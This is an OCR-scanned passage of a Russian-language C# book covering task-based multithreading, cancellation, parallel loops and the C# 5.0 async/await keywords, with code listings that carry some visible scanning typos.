Глава 17 Класс SmtpCl ient уведомляет нас о завершении операции, выдавая со- ответствующее событие. Обработчик этого события сначала открепляет- ся (это означает, что он не запускается повторно, если еще какая-то сущ- ность воспользуется тем же самым SmtpClient для дальнейшей работы). Потом он определяет, как закончилась операция: успешно, неуспешно или былаютменена. После этого в объекте TaskCompletionSource<object> вызывается соответственно один из методов: SetResult,SetCanceled или SetException. После вызова метода задача перейдет в соответствующее состояние, а также позаботится о запуске всех продолжений, прикре- пленных к ней. Объект класса TaskCompletionSource обеспечивает до- ступ к созданному им объекту беспоточной задачи посредством свой- ства Task, возвращаемого от этого метода. Вы можете поинтересоваться: почему в листинге 17.22 мы не ини- циализируем completionHandler непосредственно с помощью лямбда- выражения? Такой код не скомпилируется, так как он противоречит правилам С#, гарантирующим, что переменные не могут быть считаны прежде, чем у них появится значение. Первая строка лямбда-выражения относится к completionHandler, и переменная не считается инициализи- рованной до тех пор, пока не будет выполнена первая инструкция, при- сваивающая ей значение. Поэтому нельзя пытаться считать переменную из того же выражения, в котором эта переменная инициализируется. Если бы я воспользовался лямбда-выражением для инициализации пе- ременной, то данное выражение входило бы в состав инструкции, ини- циализирующей данную переменную, что бы не позволило мне исполь- зовать переменную в лямбда-выражении. Все это очень удручает, так как лямбда-выражение не может сра- ботать вплоть до выполнения инструкции; таким образом, на практике переменная гарантированно была бы инициализирована к тому време- ни, как потребуется запустить код. Правила могли бы допускать особый порядок обработки лямбда-выражений, но в реальности это не сделано. Взаимосвязи предок/потомок Если метод задачи, предназначенной для выполнения в потоке, соз- дает другую задачу, также предназначенную для выполнения в потоке, то по умолчанию никакой связи между этими задачами не будет. Тем не ме- нее среди TaskCreationOptions есть специальный флаг AttachedToParen:. Если его поставить, то новоиспеченная задача будет считаться потомком той задачи, которая выполняется в настоящий момент. Важность этого 890
Многопоточность хода заключается в том, что задача-предок не будет считаться завершен- ной до тех пор, пока не завершатся все^ёзадачи-потомки. Разумеется, ее собственный метод также должен успеть завершиться. Если произойдет отказ любой задачи-потомка, откажет и задача-предок. В исключении AggregateException задачи-предка будут записаны исключения всех ее потомков. Флаг AttachedToParent можно указать и для продолжения, но такой прием потенциально может вас запутать. Задача-продолжение факти- чески не является потомком предшествующей ей задачи. Она явля- ется потомком той задачи, что выполнялась на момент вызова метода ContinueWith, который и создал это продолжение. < I Беспоточные задачи (то есть большинство задач, занятых обе- J спечением ввода/вывода) часто не удается сделать потомка- ОУ ми других задач. Если вы создаете беспоточную задачу сами посредством TaskCompletionSource<T>, то можете назначить ее чьим-то потомком, так как в этом классе доступен перегружен- ный вариант конструктора, принимающий TaskCreatio^Options. Тем не менее большинство API в .NET Framework, возвращаю- щие задачи, не позволяют назначить такую задачу потомком другой задачи. Взаимосвязи предок/потомок — не единственный способ создания задачи, общий результат которой складывается из результатов выпол- нения нескольких более мелких элементов. Составные задачи У класса Task есть статические методы WhenAll и WhenAny. У обоих этих методов есть перегруженные варианты, принимающие в качестве единственного аргумента либо коллекцию объектов.Task, либо кол- лекцию объектов Task<T>. Метод WhenAll возвращает или Task, или Task<T [ ] >, причем второй вариант завершается лишь тогда, когда бу- дут выполнены все задачи, указанные в аргументе (и во втором слу- чае составная задача создает массив, где содержатся результаты каж- дой из отдельных задач). Метод WhenAny возвращает Task<Task> или Task<Task<T», которые считаются выполненными после завершения первой же задачи, причем эта завершившаяся задача передается в ка- честве результата. 891
Глава 17 Как и в случае с задачей-предком, если отказывает любая из задач, входящая в составную задачу, порожденную методом WhenAll, то исклю- чения от всех отказавших задач будут доступны в общем исключении AggregateException, предоставляемом составной задачей. WhenAny не со- общает об ошибках. Он завершается, как только будет успешно выпол- нена хотя бы одна задача, и вы должны проверить ее, чтобы определить, успешным или неуспешным оказалось это завершение. Разумеется, к этим задачам можно просто прикрепить продолжения, но существует более прямой путь. Вместо создания составной задачи при помощи WhenAll или WhenAny с последующим вызовом ContinueWith для результата вы можете просто вызвать один из двух методов фабрики задач — ContinueWhenAll или ContinueWhenAny. Они, опять же, принимают коллекцию Task или Таsk<T>, но также принимают и метод для вызова в качестве продолжения. Другие асинхронные шаблоны Хотя TPL и предоставляет предпочтительный механизм экспониро- вания асинхронных API-интерфейсов, он появился только в .NET 4.0. Поэтому не исключено, что при работе вам придется столкнуться и с бо- лее старыми подходами, наиболее устоявшимся из которых является модель АРМ (Asynchronous Programming Model, модель асинхронного программирования). Эта модель появилась в .NET 1.0 и является одним из самых распространенных шаблонов. В АРМ методы используются попарно: первый должен начать работу, а второй — собрать результаты после того, как работа будет завершена. В листинге 17.23 показана все- го одна такая пара из класса Stream, относящегося к пространству имен System. 10, а также соответствующий синхронный метод (я бы не демон- стрировал его здесь, но в .NET 4.5 появился метод WriteAsync для рабо- ты на основе задач, поэтому теперь у нас есть выбор). Листинг 17.23. Пара методов АРМ и соответствующий синхронный метод. public virtual lAsyncResult BeginWrite(byte[] buffer, int offset, int count, AsyncCallback callback, object state)^.... public virtual void EndWrite(lAsyncResult asyncResult) public abstract void Write(byte[] buffer, int offset, int count) 892
Многопоточность Обратите внимание: первые три аргумента у метода BeginWrite такие же, как и у метода Write. В модели АРМ метод BeginXxx принимает весь ввод (то есть все обычные аргументы и все ref-аргументы, но не прини- мает аргументы out, даже если они и имеются). Метод EndXxx дает весь вывод — то есть возвращаемое значение, все ref-аргументы (так как они могут нести как информацию ввода, так и информацию вывода), а так- же все out-аргументы. Метод BeginXxx также принимает еще два аргумента: делегат типа AsyncCallback, который будет вызываться по завершении операции, а также аргумент типа object, принимающий любое состояние, что, воз- можно, потребуется ассоциировать с операцией. Кроме того, этот метод возвращает lAsyncResult, представляющий асинхронную операцию. Когда выполняется ваш обратный вызов по завершению (completion callback), вы можете вызвать метод EndXxx, передав тот самый объект lAsyncResult, который был возвращен методом BeginXxx — и получите возвращаемое значение, если оно имеется. Если операция окончится неуспешно, то метод EndXxx выдаст исключение. Для API, использующего модель АРМ, можно создать обертку, вос- пользовавшись классом Task. Объекты TaskFactory, предоставляемые классами Task и Task<T>, обладают методами FromAsync. Такому методу вы можете передать пару делегатов для методов BeginXxx и EndXxx, а так- же все аргументы, нужные для метода BeginXxx. В результате получим Task или Task<T>, представляющий операцию. Еще один распространенный шаблон называется «Шаблон асин- хронного программирования, основанный на событиях» (ЕАР, Event- based Asynchronous Pattern). Мы видели его на практике уже в этой главе — именно по такому принципу работает класс SmtpClient. При помощи данного шаблона класс предоставляет метод, запускающий операцию, и соответствующее событие, происходящее по завершении операции. Эти метод и событие обычно имеют родственные имена, на- пример SendAsync и SendCompleted. Самая полезная черта такого шабло- на заключается в том, что метод захватывает'синхронизационный кон- текст и использует его для генерации события. Это означает, что, если вы используете объект, поддерживающий данный шаблона, в коде поль- зовательского интерфейса, он фактически представляет однопоточную асинхронную модель. Такой шаблон значительно проще в использова- нии, чем АРМ, поскольку нет необходимости писать какой-то дополни- 893
Глава 17 тельный код для возвращения в поток пользовательского интерфейса после завершения асинхронной работы. Не существует автоматизированного механизма для обертывания ЕАР в задачу, но, как было показано в листинге 17.22, сделать такую обертку несложно. Существует-еще один распространенный шаблон, используемый в асинхронном коде. Он, однако, немного отличается от остальных мо- делей, так как регулирует лишь ожидание тех асинхронных операций, которые уже выполняются в настоящий момент — он никак не управ- ляет тем, как данные операции запускаются. Это ожидаемый шаблон, поддерживаемый асинхронными возможностями языка C# (ключевы- ми словами async и await). Как было показано в листинге 17.18, можно потреблять задачу TPL непосредственно при помощи этих возможно- стей, но язык не распознает Task напрямую. Поэтому можно ожидать не только задачи, но и другие сущности. Ключевое слово await можно использовать с любой сущностью, реализующей конкретный шаблон. Подробнее об этом будет рассказано в главе 18. Отмена В .NET определяется стандартный механизм для отмены медленных операций. Такой механизм появился только в .NET 4.0, поэтому он еще не повсеместно распространен в библиотеке классов .NET Framework. Правда, в .NET 4.5 данный механизм поддерживается уже довольно ши- роко. Операции, поддерживающие возможность отмены, принимают аргумент типа CancellationToken. Если установить этот аргумент в от- мененное состояние, то операция может остановиться раньше срока при первой же возможности, а не продолжаться вплоть до завершения. Сам тип CancellationToken не предлагает каких-либо методов для инициирования отмены — API разработан так, что вы можете со- общать им о необходимости отмениться, но не давать им полномочий на отмену каких-либо других операций, ассоциированных с тем же самым CancellationToken. Акт отмены управляется отдельным объ- ектом CancellationTokenSource. Как понятно из названия, при по- мощи этого объекта вы можете удерживать любое количество эк- земпляров CancellationToken. Если вызвать метод Cancel объекта CancellationTokenSource, метод переведет все ассоциированные с дан- ным объектом экземпляры CancellationToken в состояние отмены. 894
Многопоточность Некоторым из описанных выше механизмов синхронизации можно передать CancellationToken. Это не касается механизмов синхронизации, производных от WaitHandle, так как лежащие в их основе примитивы Windows не поддерживают модель отмены, действующую в .NET. Класс Monitor также не поддерживает отмену, а более новые API — поддержи- вают. Кроме того, API, основанные на работе с задачами, зачастую при- нимают маркер отмены (cancellation token), а сама библиотека TPL так- же предлагает перегруженные варианты методов StartNew и ContinueWith для работы с такими маркерами. Если задача уже начала выполняться, TPL ничего не может сделать, чтобы ее отменить. Но если вы отмени- те задачу прежде, чем она начнет выполняться, то TPL изымет ее из на- значенной очереди. Если вам требуется возможность отменять задачи и после того, как они начали выполняться, нужно написать в теле задачи код, который будет проверять CancellationToken и отменять работу, если свойство IsCancellationRequested этого маркера окажется равным true. Поддержка отмены не применяется во всех мыслимых случаях, по- скольку иногда отмена просто невозможна. Например, если сообще- ние уже было передано по сети, вы не можете отменить его отправку. Некоторые операции можно отменить лишь до того, как они пройдут определенную точку невозврата. Например, если сообщение поставлено в очередь для отправки, но еще не отправлено, то вы вполне можете изъ- ять его из очереди. Это означает, что, даже когда отмена предусмотрена, она может применяться не во всех случаях. Так что если вы опираетесь при работе на возможность отмены, то должны быть готовы к тому, что иногда у вас такой возможности не будет. Параллелизм В библиотеке .NET Framework содержится некоторое количество классов, которые могут работать с коллекциями данных параллельно, сразу в нескольких потоках. Это можно делать тремя способами: при по- мощи класса Parallel, Parallel LINQ и TPL Dataflow. Класс Parallel В классе Parallel предлагается три статических метода: For, Foreach и Invoke. Последний из них принимает массив делегатов и выполняет их все, потенциально — в параллельном режиме. Тот факт, решит ли этот метод воспользоваться параллелизмом, зависит от различных параме- 895
Глава 17 трое, в частности от количества аппаратных потоков на данном ком- пьютере, степени загруженности системы и того, сколько элементов вы хотите обработать. Методы For и Foreach имитируют одноименные ци- клические конструкции языка С, но потенциально они также способны выполнять параллельные итерации. В листинге 17.24 проиллюстрировано два способа использования Parallel.For в коде, выполняющем свертку двух наборов образцов. Такая операщЬг включает множество повторяющихся шагов, она ис- пользуется при обработке сигналов. На практике подобная задача эф- фективнее решается при помощи быстрого преобразования Фурье, если только ядро свертки не очень маленькое, но такой код получился бы до- вольно сложным и плохо иллюстрировал применение класса Parallel, о котором мы здесь говорим. В рассматриваемом примере на каждый вводимый образец генерируется один образец вывода. Каждый образец вывода получается методом суммирования последовательности значе- ний, каждое из которых получено путем перемножения двух элементов ввода. При обработке больших множеств данных эта операция может оказаться достаточно длительной, поэтому именно такую работу вы, ве- роятно, попробуете ускорить, распределив ее между несколькими про- цессорами. Значение каждого отдельно взятого выходного образца мо- жет быть вычислено независимо от всех других значений, поэтому такая работа хорошо подходит для распараллеливания. Листинг 17.24. Параллельная свертка static float[] Parallelconvolution(float[] input, float[] kernel) {
Многопоточность Базовая структура этого кода очень напоминает пару циклов for, вложенных один в другой. Я просто заменил внешний цикл for вызовом к Parallel.For. Распараллелить внутренний цикл я не пытался — если каждый отдельно взятый шаг тривиален, то Parallel. For во внутреннем цикле потратит больше временина вспомогательную работу, чем на вы- полнение вашего кода. Первый аргумент 0 задает исходное значение счетчика цикла, второй устанавливает максимальную величину для это- го значения. Последний аргумент — делегат, который станет вызываться по одному разу для каждого значения цикла. Данные вызовы будут про- исходить параллельно, если, согласно эвристике класса Parallel, рас- параллеливание работы позволит ее ускорить. Применяя данный метод с большими множествами данных на многоядерных машинах, можно использовать все доступные аппаратные потоки на полную мощность. Провайдер Parallel LINQ Parallel LINQ — это LINQ-провайдер, который работает с размещен- ной в памяти информацией, во многом так же, как провайдер LINQ to Objects. Пространство имен System.Linq делает этот провайдер доступ- ным как метод расширения с именем As Parallel, определенный для любых типов IEnumerable<T> (при помощи класса ParallelEnumerable). Данный метод возвращает объект типа ParallelQuery<'K>, поддерживаю- щий обычные LINQ-операторы. Любой построенный таким образом LINQ-запрос предоставляет ме- тод ForAll, принимающий делегат. Когда вы вызываете этот метод, он активирует делегат для всех элементов, порождаемых запросом. Если возможно, он будет делать это параллельно в нескольких потоках. Потоки данных TPL Поддержка потока данных (dataflow) — это новая возможность би- блиотеки TPL, появившаяся в .NET 4.5. Она позволяет вам построить граф объектов, каждый из которых выполняет определенную обработку информации, проходящей через этот объект. Вы можете сообщить TPL, в каком из этих узлов должна происходить последовательная обработка информации, а какие блоки вполне могут параллельно работать с не- сколькими фрагментами данных одновременно. Данные отправляются в граф, a TPL затем возьмет на себя процесс предоставления данных для обработки каждому узлу. При этом библиотека пытается оптими- 897
Глава 17 зировать уровень параллелизма в зависимости от того, какие ресурсы доступны на компьютере. API потока данных, относящийся к пространству имен System. Threading.Tasks.Dataflow, довольно большой и сложный. Этому API можно было бы посвятить целую главу, в некотором отношении его можно считать специализированным. К сожалению, обсуждение этого API выходит за рамки данной книги. Но я упоминаю его здесь, так как читателю стоит как минимум знать о существовании новой возможно- сти и о том, в каких рабочих ситуациях ее целесообразно использовать. Резюме Потоки позволяют одновременно выполнять сразу несколько фраг- ментов кода. На компьютере, оснащенном несколькими исполнитель- ными блоками процессора (то есть несколькими аппаратными потока- ми), эти ресурсы можно использовать для организации параллелизма при помощи множественных программных потоков. Вы можете явно создавать новые программные потоки при помощи класса Thread либо пользоваться пулом потоков или другим механизмом распараллелива- ния — например, классом Parallel или запросами Parallel LINQ. Эти механизмы позволяют автоматически определять, сколько потоков нужно для выполнения работы, предоставляемой вашим приложени- ем. Библиотека для решения параллельных задач (Task Parallel Library, TPL) предоставляет абстракции для управления множественными ра- бочими фрагментами в пуле потоков. Эта библиотека также поддержи- вает комбинирование нескольких операций и управления потенциально сложными сценариями, складывающимися при возникновении ошибок. Если нескольким потокам требуется использовать разделяемые струк- туры данных, то понадобится задействовать синхронизационные меха- низмы, предлагаемые в .NET. Таким образом гарантируется, что потоки смогут правильно координировать свою работу.
Глава 18 АСИНХРОННЫЕ ВОЗМОЖНОСТИ ЯЗЫКА Наиболее важная новая возможность, появившаяся в C# 5.0, — это поддержка использования и реализации асинхронных методов, предо- ставляемая на уровне языка. Асинхронные API зачастую являются наи- более эффективными инструментами для использования определенных сервисов. Например, большинство операций ввода/вывода асинхронно обрабатываются в ядре операционной системы, поскольку в основном периферийные устройства (например, контроллеры дисков и сетевые адаптеры) способны автономно выполнять большую часть возлагаемых на них задач. Участие процессора требуется им лишь в начале и в конце каждой операции. Хотя многие сервисы, предоставляемые Windows, по сути своей яв- ляются асинхронными, разработчики во многих случаях стараются ис- пользовать их через синхронные API (такие, которые не возвращаются вплоть до завершения работы). Это напрасная трата ресурсов, посколь- ку подобные API просто блокируют поток вплоть до завершения ввода/ вывода. Потоки в Windows — дорогостоящий ресурс, а потому програм- мы обычно ориентированы на достижение максимальной производи- тельности при наличии сравнительно небольшого количества потоков операционной системы. В идеале вы должны использовать не больше потоков операционной системы, чем имеется аппаратных потоков в ва- шем компьютере. Но такая ситуация будет оптимальной, лишь если вы сможете гарантировать, что потоки станут блокироваться только тогда, когда у них нет неоконченной работы. Разница между потоками опе- рационной системы и аппаратными потоками была описана в главе 17. Чем больше потоков оказывается заблокировано в ходе вызовов к син- хронным API, тем больше потоков вам потребуется для обслуживания вашей рабочей нагрузки — соответственно, снизится эффективность. В коде, предъявляющем высокие требования к производительности, асинхронные API очень полезны, так как мы не будем напрасно расхо- довать ресурсы, принуждая поток «сидеть и ждать» завершения ввода/ вывода. Поток может начать работу, а в тот период, когда ее приходится приостановить, — заняться еще чем-нибудь полезным. 899
Глава 18 Основная проблема, связанная с асинхронными API, заключается в том, что они гораздо сложнее в использовании, нежели синхронные. В частности, сложность обусловлена тем, что вам приходится коорди- нировать множество взаимосвязанных операций и уметь справляться с сопутствующими ошибками. Именно поэтому разработчики часто предпочитают менее эффективные синхронные варианты интерфейсов. Новые асинхронные возможности C# 5.0 позволяют писать такой код, который использует эффективные асинхронные API, но при этом во многом сохраняет простоту, характерную для работы с обычными син- хронными API. Новые возможности будут полезны и в некоторых сценариях, где максимизация пропускной способности не является основной целью настройки производительности. В клиентском коде важно избежать блокировки потока пользовательского интерфейса, что удобно делать как раз при помощи асинхронных API. Поддержка асинхронного кода на уровне языка помогает справляться с проблемами потоковой род- ственности. Все это значительно упрощает задачу написания такого кода пользовательского интерфейса, который максимально быстро реа- гирует на действия пользователя. Ключевые слова для асинхронной работы: async и await C# обеспечивает поддержку асинхронного кода при помощи двух ключевых слов: async и await. Первое из них не предназначено для ис- пользования как самостоятельная единица. Ключевое слово async ста- вится в объявлении метода и сообщает компилятору о том, что в дан- ном методе планируется применять асинхронные возможности. Если это ключевое слово отсутствует, вы не сможете пользоваться ключевым словом await. Существует мнение, что слово async является избыточ- ным: ведь если вы пытаетесь использовать await без async, компилятор выдает ошибку. Это означает, что он распознает ситуации, в которых ме- тод пытается задействовать асинхронные возможности, — почему же мы должны явно ему об этом сообщать? На то есть две причины. Во-первых, как вы увидите, данные возможности коренным образом меняют пове- дение кода, генерируемого компилятором, так что любому человеку, чи- тающему код, желательно видеть четкое указание на то, что метод будет работать асинхронно. Во-вторых, await не всегда было в C# ключевым словом, поэтому ранее вы вполне могли использовать его как идентифи-. 900
Асинхронные возможности языка катор. Возможно, Microsoft разработала грамматику await так, что это слово действует как ключевое лишь в очень специфических контекстах. Потому в других сценарИях'вы можете продолжать пользоваться им как идентификатором. Но команда C# избрала немного более грубый под- ход: вы не сможете использовать await в качестве идентификатора вну- три метода async, но в любой другой ситуации это будет полноправный идентификатор. Ключевое слово async не изменяет сигнатуру метода. Оно 4 • опРеДеляет» как компилируется метод, но не как он использу- —1—Льется. Итак, при помощи ключевого слова async вы просто объявляете о вашем намерении использовать ключевое слово await. Конечно, нель- зя применять await без async, но употребление ключевого слова async в методе, не использующем await, — не ошибка. Правда, в таком случае ключевое слово async окажется бесполезным, и если вы будете так по- ступать, то компилятор сгенерирует предупреждение. В листинге 18.1 приведен совершенно типичный образец кода. Здесь мы используем класс HttpClient*, требуя предоставить нам лишь заголовки с запрошен- ного ресурса (мы употребляем метод HEAD, определяемый в протоколе HTTP именно для этой цели). Затем результат отображается в элементе управления пользовательского интерфейса — этот метод входит в со- став отделенного кода пользовательского интерфейса и содержит поле TextBox под названием headerListTextBox. Листинг 18.1. Использование async и await при выборке HTTP-заголовков со страницы private async void FetchAndShowHeaders(string uri) { using (var w = new HttpClient()) { var req = new HttpRequestMessage(HttpMethod.Head, uri); HttpResponseNessage response = await w.SendAsync(req, HttpCoopletionOption.ResponseHeadersRead); * Я использую его вместо более простого класса WebClient, упоминавшегося в пред- ыдущих главах, так как класс HttpClient обеспечивает более полный контроль над дета- лями протокола HTTP. 901
Глава 18 var headerstrings = ’ from header in response.Headers select header.Key + + string.Join(", ", header.Value); string headerList = string.Join(Environment.NewLine, headerstrings); headerListTextBox.Text = headerList; } } В этом коде содержится всего одно выражение await, выделенное жирным шрифтом. Вы используете ключевое слово await в таком выра- жении, которому может потребоваться время на получение результата. Это слово означает, что оставшаяся часть метода не должна выполнять- ся до тех пор, пока данная операция не будет завершена. Ситуация очень напоминает блокировку в стиле синхронного API, но разница как раз в том, что выражение await не блокирует поток. Если бы вы хотели блокировать поток и дождаться результата, то могли бы это сделать. Метод SendAsync класса HttpClient возвращает объект Task<HttpResponseMessage>, и вы могли бы заменить выражение await в листинге 18.1 тем, что приведено в листинге 18.2. Так будет по- лучен результат Result этой задачи — по принципу, показанному в гла- ве 17. Если задача еще не завершена, данное свойство блокирует поток до получения результата (если же задача закончится неуспешно, метод выдаст не результат, а исключение). Листинг 18.2. Эквивалент с блокировкой HttpResponseMessage response = w.SendAsync(req, HttpCompletionOption.ResponseHeadersRead).Result; Хотя выражение await в листинге 18.1 выполняет операцию, на пер- вый взгляд напоминающую блокировку, функционирует этот код со- вершенно иначе. Если результат задачи не будет доступен немедленно, то ключевое слово await, несмотря на свое буквальное значение (англ, «ожидать»), в действительности не заставит поток ждать. Вместо это- го оно заставит вмещающий метод возвратить управление. Можно вос- пользоваться отладчиком, чтобы убедиться, что FetchAndShowHeaders возвращается немедленно. Йапример, если я вызову этот метод от обра- ботчика события нажатия на кнопку, показанного в листинге 18.3, я могу поставить контрольную точку в вызове Debug.WriteLine этого обработ- 902
Асинхронные возможности языка чика. Другую контрольную точку я поставлю в коде из листинга 18.1, там, где обновляется свойство headerListTextBox.Text. Листинг 18.3. Вызов асинхронного метода private void fetchHeadersButton_Click(object sender, RoutedEventArgs e) { FetchAndShowHeaders( "http://www.interact-sw.co.uk/iangblog/"); Debug.WriteLine("Method returned"); ) Запустив этот фрагмент в отладчике, я обнаруживаю, что программа достигает контрольной точки на последней инструкции листинга 18.3 раньше, чем доходит до контрольной точки на последней инструкции листинга 18.1. Иными словами, та часть листинга 18.1, которая следует за выражением await, выполняется уже после того, как метод вернется к вызывающей стороне. Очевидно, компилятор каким-то образом доби- вается того, чтобы остаток метода выполнялся при помощи обратного вызова, происходящего уже после завершения асинхронной операции. Отладчик Visual Studio проделывает некоторые фокусы, когда *<?; * вы обрабатываете в нем асинхронные методы; в результате ——5X5они проходят через отладчик как обычные методы. Как пра- вило, это полезно, но иногда искажает истинную природу вы- полнения метода. Отладочные шаги, описанные выше, были тщательно разработаны именно так, чтобы перехитрить Visual Studio и определить, что же происходит на самом деле. Обратите внимание: код из листинга 18.1 требуется задействовать в потоке пользовательского интерфейса, поскольку он корректно обнов- ляет свойство Text текстового поля. Асинхронные API не гарантируют того, что уведомление о завершении работы придет вам в том же потоке, где была запущена задача, — чаще всего эти потоки не совпадают. Не- смотря на это, код из листинга 18.1 работает правильно. Итак, ключевое слово await не только преобразует часть метода в обратный вызов, но и обрабатывает за нас аспекты, связанные с потоковой родственностью. Очевидно, при применении ключевого слова await компилятор C# выполняет в вашем коде серьезные «хирургические вмешательства». В C# 4.0, если бы вы хотели применить этот асинхронный API, а по- 903
Глава 18 том обновить пользовательский интерфейс, то пришлось бы написать примерно такой код, как в листинге 18.4. В этом примере используется техника, описанная в главе 17: здесь создается продолжение для задачи, возвращаемой SendAsync. Планировщик задач TaskScheduler применя- ется, чтобы гарантировать, что тело продолжения будет выполняться в потоке пользовательского интерфейса. Листинг 18.4. Написание асинхронного кода вручную private void OldSchoolFetchHeaders(string url) { var w = new HttpClient (); var req = new HttpRequestMessage(HttpMethod.Head, url); var uiScheduler = TaskScheduler.FromCurrentSynchronizationContext(); w.SendAsync(req, HttpCompletionOption.ResponseHeadersRead) .ContinueWith(sendTask => { try { HttpResponseMessage response = sendTask.Result; var headerstrings = from header in response.Headers select header.Key + + string.Join(",", header.Value); string headerList = string.Join(Environment.NewLine, headerstrings); headerListTextBox.Text = headerList; } finally { w.Dispose(); } }, uiScheduler); ) Здесь вполне уместно использовать библиотеку TPL напрямую, и результат получается почти как в листинге 18.1, но последний при- мер дает не вполне адекватное* представление о том, как компилятор 904
Асинхронные возможности языка C# преобразует код. Ниже я покажу, что await использует шаблон, под- держиваемый Task или Task<T>, но не требующий этих классов. Кроме того, как вы увидите, при применении этого слова генерируется код для обработки раннего завершения (имеются в виду случаи, в которых зада- ча уже завершилась к тому моменту, когда вы приготовились ее ждать), причем это происходит гораздо более эффективно, чем в листинге 18.4. Но прежде, чем мы углубимся в детали работы компилятора, хотелось бы проиллюстрировать ряд проблем, которые он за вас решает. Лучше всего рассматривать их на примере кода, который вы могли бы написать в C# 4.0. Приведенный здесь пример очень прост, так как в нем выполняется лишь одна асинхронная операция. Но, не считая двух уже описанных выше шагов — настройки обратного вызова по завершении и обеспече- > ния того, что код будет работать в нужном потоке, — мне также при- шлось иметь дело с инструкцией using, которую мы использовали в ли- стинге 18.1. В листинге 18.4 мы не можем применить ключевое слово using, так как планируем избавиться от объекта HttpClient лишь после выпол- нения всей связанной с ним работы. Если попытаться вызвать Dispose вскоре после возврата внешнего метода, это не поможет, поскольку нам требуется возможность использования объекта в период работы про- должения. А продолжение обычно срабатывает значительно позднее. Итак, мне потребовалось бы создать объект в одном методе (внешнем), а избавиться от него уже в другом (вложенном). Поскольку я вызываю Dispose вручную, задача обработки исключений также ложится на мои плечи. Соответственно, мне придется обернуть в блок try весь код, кото- рый я переместил в обратный вызов, a Dispose я буду вызывать в блоке finally. На самом деле, здесь я даже не все учел — возможна малове- роятная ситуация, в которой или конструктор HttpRequestMessage, или код, получающий планировщик задач, выдадут мне исключение, но тог- да HttpClient не будет утилизирован. Я обрабатываю лишь тот случай, в котором происходит отказ самой НТТР-операции. В листинге 18.4 мы использовали планировщик задач, чтобы обеспе- чить запуск продолжения в том контексте Synchronizationcontext, ко- торый был актуальным на момент запуска работы. Так мы гарантируем, что обратный вызов произойдет в нужном потоке — том, откуда можно обновить пользовательский интерфейс. Этого вполне достаточно, что- бы мой пример был работоспособным, но ключевое слово await дает нам и кое-что еще. 905
Глава 18 Контексты выполнения и синхронизации Когда выполнение вашего кода достигает выражения await для вы- полнения операции, на завершение которой может потребоваться какое- то время, код, генерируемый для этого await, гарантирует захват текущего контекста выполнения. Возможно, работы здесь почти не окажется - если это не первое слово await, примененное для блокировки этого мето- да, и если контекст не изменялся с момента последнего захвата, то нуж- ный контекст уже будет взят. Когда асинхронная операция завершится, остаток вашего метода окажется исполнен в данном контексте* Как было описано в главе 17, контекст выполнения обрабатывает определенную контекстную информацию о безопасности и прочее со- стояние, локальное для данного потока, которое необходимо подавать при вызове одного метода другим (даже если речь идет о непосредствен- ном вызове). Но существует и еще одна разновидность контекста, инте- ресная нам, в частности, при написании кода пользовательского интер- фейса: так называемый синхронизационный контекст. Хотя все выражения await и захватывают контекст выполнения, ре- шение о том, подавать ли также синхронизационный контекст, остается «на усмотрение» ожидаемого типа. Так, если вы ожидаете Task, то син- хронизационный контекст также будет захвачен по умолчанию. Зада- чи — не единственные сущности, с которыми применяется await. О том, как типы могут поддерживать await, будет рассказано в разделе «Ша- блон await». Иногда бывает целесообразно обойтись без синхронизационного контекста. Если вы хотите выполнить асинхронную работу, начинаю- щуюся в потоке пользовательского интерфейса, но вам не требуется оставаться в этом потоке, то планирование каждого продолжения через синхронизационный контекст становится ненужной издержкой. Если асинхронная операция — это Task или Task<T>, то вы можете объявить об отказе от синхронизационного контекста, вызвав метод ConfigureAwait. Он возвращает немного иное представление асинхронной операции, и если вы будете ожидать (await) такой вариант, а не исходную задачу, то актуальный Synchronizationcontext (при его наличии) будет игнори- роваться. Но от контекста выполнения отказаться нельзя. Описанные операции представлены в листинге 18.5. * Между прочим, такая же ситуация складывается и в листинге 18.4, так как би- блиотека TPL захватывает для нас контекст выполнения 906
Асинхронные возможности языка Листинг 18.5. Метод Configur£^wait private async void OnFetchButtonClick(object sender, RoutedEventArgs e) I using (var w = new HttpClient()) using (Stream f = File.Create(fileTextBox.Text)) { Task<Stream> getStreamTask = w.GetStreamAsync(urlTextBox.Text); Stream getStream = await getStreamTask.ConfigureAwait(false); Task copyTask = getStream.CopyToAsync(f); await copyTask.ConfigureAwait(false); z } } Здесь перед нами код обработчика щелчков по кнопке, который из- начально запускается в потоке пользовательского интерфейса. Он по- лучает значения свойства Text от пары текстовых полей. Затем запу- скает асинхронную работу — выбирая содержимое URL и копируя эту информацию в файл. Он не применяет каких-либо элементов пользо- вательского интерфейса после того, как соберет два значения свойств Text, поэтому если на завершение операции требуется определенное время, то вполне можно выполнить остаток метода в каком-то другом потоке. Сообщив false для ConfigureAwait и ожидая значение, которое он вернет, мы уведомляем библиотеку TPL, что она может воспользо- ваться любым подходящим потоком, чтобы известить нас о завершении работы. В данном случае это будет, скорее всего, один из потоков пула. Так мы сможем завершить работу эффективнее и быстрее, поскольку не придется напрасно задействовать поток пользовательского интерфейса после каждого await. В листинге 18.1 содержалось всего одно выражение await, но и он оказался достаточно сложен, чтобы воспроизвести его средствами классического TPL-программирования. В листинге 18.5 уже два таких выражения, и обеспечение эквивалентного функционала без помощи ключевого слова await потребует гораздо больше кода. Ведь исключе- ния могут возникать до первого await, после второго либо между пер- вым и вторым. В любом из этих случаев нам придется вызывать Dispose в HttpClient и Stream (а также в случае отсутствия исключения). Тем не менее может возникнуть и гораздо более сложная ситуация, как только нам придется управлять потоком данных. 907
Глава 18 Множественные операции и циклы Предположим, что мы хотим не выбрать со страницы заголовки или просто скопировать текст HTTP-ответа в файл, а обработать данные, со- > держащиеся в тексте ответа. Если текст большой, то его получение может превратиться в мно- гоступенчатую операцию, включающую ряд небольших этапов. Так, в листинге 18.6 продемонстрирован пошаговый сбор содержимого веб- страницы. Листинг 18.6. Множественные асинхронные операции private async void FetchAndShowBody(string url) ( using (var w = new HttpClient()) { Stream body = await w.GetStreamAsync(url); using (var bodyTextReader = new StreamReader(body)) { while (!bodyTextReader.EndOfStream) { string line = await bodyTextReader.ReadLineAsync(); headerListTextBox.AppendText(line); headerListTextBox.AppendText( Environment.NewLine); await Task.Delay( TineSpan.FrooMilliseconds(10)); } } } ) В этом коде содержатся уже три выражения await. Первое отправляет запрос HTTP GET, и эта операция завершится, когда мы получим толь- ко первую часть ответа, а не весь ответ — ведь общий объем получаемого текста может достигать нескольких мегабайт. Этот код подразумевает, что мы собираемся получать текстовое содержимое, потому обертывает воз- вращаемый объект Stream-в StreamReader, который, в свою очередь, пред- ставляет байты полученного потока ввода/вывода уже в виде текста, затем код воспользуется методом ReadLineAsync этой обертки, чтобы считывать 